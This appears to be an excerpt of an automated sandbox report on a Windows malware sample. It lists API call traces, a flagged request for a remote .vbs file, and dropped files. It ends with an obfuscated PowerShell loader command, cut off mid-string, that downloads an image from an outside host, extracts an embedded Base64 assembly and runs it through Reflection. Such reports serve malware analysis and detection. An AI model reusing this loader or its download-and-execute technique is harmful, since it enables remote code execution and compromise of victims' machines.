buffer: <INVALID POINTER>
crypto_handle: 0x004e43e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e43e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e43e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e43e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e43e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e43e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e43e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e43e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004e43e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00584c78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00584c78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x003b3380
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x003b3340
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x003b3340
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x003b3340
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x003b3480
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x003b3480
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x003b3480
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x003b3480
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x003b3480
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x003b3480
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
suspicious_features Connection to IP address suspicious_request GET http://192.210.175.4/TSTA/1/IE_root.vbs
request GET http://192.210.175.4/TSTA/1/IE_root.vbs
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 1048576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a20000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ae0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73911000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f2a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73912000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f22000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f32000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ae1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ae2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0275a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f33000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f34000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f2b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02752000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f35000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0275c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f36000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02753000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02754000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02755000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02756000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02757000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02758000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02759000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050b9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050bc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050bd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050be000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050bf000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050c0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050c1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050c2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050c3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x050c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Windows\Temp\Debug.vbs
file C:\Users\test22\AppData\Local\Temp\Fsociety.lnk
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵VQBy⁂⇵Gw⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵JwBo⁂⇵HQ⁂⇵d⁂⇵Bw⁂⇵HM⁂⇵Og⁂⇵v⁂⇵C8⁂⇵dQBw⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵Z⁂⇵Bl⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBu⁂⇵HM⁂⇵LgBj⁂⇵G8⁂⇵bQ⁂⇵u⁂⇵GI⁂⇵cg⁂⇵v⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBz⁂⇵C8⁂⇵M⁂⇵⁂⇵w⁂⇵DQ⁂⇵Lw⁂⇵1⁂⇵DU⁂⇵OQ⁂⇵v⁂⇵DU⁂⇵MQ⁂⇵w⁂⇵C8⁂⇵bwBy⁂⇵Gk⁂⇵ZwBp⁂⇵G4⁂⇵YQBs⁂⇵C8⁂⇵cgB1⁂⇵G0⁂⇵c⁂⇵Bf⁂⇵H⁂⇵⁂⇵cgBp⁂⇵HY⁂⇵YQB0⁂⇵GU⁂⇵LgBq⁂⇵H⁂⇵⁂⇵Zw⁂⇵/⁂⇵DE⁂⇵Ng⁂⇵5⁂⇵D⁂⇵⁂⇵NQ⁂⇵w⁂⇵DQ⁂⇵MQ⁂⇵y⁂⇵Dk⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵dwBl⁂⇵GI⁂⇵QwBs⁂⇵Gk⁂⇵ZQBu⁂⇵HQ⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵TgBl⁂⇵Hc⁂⇵LQBP⁂⇵GI⁂⇵agBl⁂⇵GM⁂⇵d⁂⇵⁂⇵g⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵TgBl⁂⇵HQ⁂⇵LgBX⁂⇵GU⁂⇵YgBD⁂⇵Gw⁂⇵aQBl⁂⇵G4⁂⇵d⁂⇵⁂⇵7⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵Hc⁂⇵ZQBi⁂⇵EM⁂⇵b⁂⇵Bp⁂⇵GU⁂⇵bgB0⁂⇵C4⁂⇵R⁂⇵Bv⁂⇵Hc⁂⇵bgBs⁂⇵G8⁂⇵YQBk⁂⇵EQ⁂⇵YQB0⁂⇵GE⁂⇵K⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBV⁂⇵HI⁂⇵b⁂⇵⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵u⁂⇵EU⁂⇵bgBj⁂⇵G8⁂⇵Z⁂⇵Bp⁂⇵G4⁂⇵ZwBd⁂⇵Do⁂⇵OgBV⁂⇵FQ⁂⇵Rg⁂⇵4⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵UwB0⁂⇵HI⁂⇵aQBu⁂⇵Gc⁂⇵K⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBC⁂⇵Hk⁂⇵d⁂⇵Bl⁂⇵HM⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵Jw⁂⇵8⁂⇵Dw⁂⇵QgBB⁂⇵FM⁂⇵RQ⁂⇵2⁂⇵DQ⁂⇵XwBT⁂⇵FQ⁂⇵QQBS⁂⇵FQ⁂⇵Pg⁂⇵+⁂⇵Cc⁂⇵Ow⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵Jw⁂⇵8⁂⇵Dw⁂⇵QgBB⁂⇵FM⁂⇵RQ⁂⇵2⁂⇵DQ⁂⇵XwBF⁂⇵E4⁂⇵R⁂⇵⁂⇵+⁂⇵D4⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBU⁂⇵GU⁂⇵e⁂⇵B0⁂⇵C4⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵E8⁂⇵Zg⁂⇵o⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵ZQBu⁂⇵GQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵TwBm⁂⇵Cg⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BG⁂⇵Gw⁂⇵YQBn⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵HM⁂⇵d⁂⇵Bh⁂⇵HI⁂⇵d⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵Gc⁂⇵ZQ⁂⇵g⁂⇵D⁂⇵⁂⇵I⁂⇵⁂⇵t⁂⇵GE⁂⇵bgBk⁂⇵C⁂⇵⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵Gc⁂⇵d⁂⇵⁂⇵g⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵Cs⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵LgBM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵7⁂⇵CQ⁂⇵YgBh⁂⇵HM⁂⇵ZQ⁂⇵2⁂⇵DQ⁂⇵T⁂⇵Bl⁂⇵G4⁂⇵ZwB0⁂⇵Gg⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵C⁂⇵⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵Ds⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BD⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBT⁂⇵HU⁂⇵YgBz⁂⇵HQ⁂⇵cgBp⁂⇵G4⁂⇵Zw⁂⇵o⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵s⁂⇵C⁂⇵⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bj⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵QwBv⁂⇵G4⁂⇵dgBl⁂⇵HI⁂⇵d⁂⇵Bd⁂⇵Do⁂⇵OgBG⁂⇵HI⁂⇵bwBt⁂⇵EI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵FM⁂⇵d⁂⇵By⁂⇵Gk⁂⇵bgBn⁂⇵Cg⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BD⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵ZQBk⁂⇵EE⁂⇵cwBz⁂⇵GU⁂⇵bQBi⁂⇵Gw⁂⇵eQ⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵UgBl⁂⇵GY⁂⇵b⁂⇵Bl⁂⇵GM⁂⇵d⁂⇵Bp⁂⇵G8⁂⇵bg⁂⇵u⁂⇵EE⁂⇵cwBz⁂⇵GU⁂⇵bQBi⁂⇵Gw⁂⇵eQBd⁂⇵Do⁂⇵OgBM⁂⇵G8⁂⇵YQBk⁂⇵Cg⁂⇵J⁂⇵Bj⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵p⁂⇵Ds⁂⇵J⁂⇵B0⁂⇵Hk⁂⇵c⁂⇵Bl⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵b⁂⇵Bv⁂⇵GE⁂⇵Z⁂⇵Bl⁂⇵GQ⁂⇵QQBz⁂⇵HM⁂⇵ZQBt⁂⇵GI⁂⇵b⁂⇵B5⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵V⁂⇵B5⁂⇵H⁂⇵⁂⇵ZQ⁂⇵o⁂⇵Cc⁂⇵RgBp⁂⇵GI⁂⇵ZQBy⁂⇵C4⁂⇵S⁂⇵Bv⁂⇵G0⁂⇵ZQ⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵d⁂